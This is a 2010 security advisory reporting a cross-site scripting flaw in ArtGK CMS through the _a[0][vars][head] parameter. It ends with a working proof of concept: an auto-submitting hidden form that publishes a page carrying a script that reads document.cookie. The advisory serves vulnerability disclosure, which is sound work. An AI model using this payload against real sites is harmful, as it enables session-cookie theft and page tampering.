XSS vulnerability in ArtGK CMS

2010-09-02T00:00:00
ID SECURITYVULNS:DOC:24651
Type securityvulns
Reporter Securityvulns
Modified 2010-09-02T00:00:00

Description

Vulnerability ID: HTB22588 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_artgk_cms_1.html Product: ArtGK CMS Vendor: ArtGK ( http://artgk-cms.ru/ ) Vulnerable Version: 2009-08-28 16:00:00 and Probably Prior Versions Vendor Notification: 18 August 2010 Vulnerability Type: XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "cms/classes/CAction.php" script to properly sanitize user-supplied input in _a[0][vars][head] variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/cms/action?async=exit" method="post" name="main" > <input type="hidden" name="_a[0][action]" value="saveAndPublish" /> <input type="hidden" name="_a[0][id]" value="1" /> <input type="hidden" name="_a[0][vars][title]" value="page title" /> <input type="hidden" name="_a[0][vars][description]" value="description" /> <input type="hidden" name="_a[0][vars][keywords]" value="metakeys" /> <input type="hidden" name="_a[0][vars][link]" value="/" /> <input type="hidden" name="_a[0][vars][use_content_in_head]" value="path" /> <input type="hidden" name="_a[0][vars][head]" value='<script type="text/javascript" src="/cms/js/ajax.js"> </script><meta name="keywords" content="keywords"/><meta name="description" content="Description"/><script>alert(document.cookie)</script><title>Site Title</title>' /> </form> <script> document.main.submit(); </script>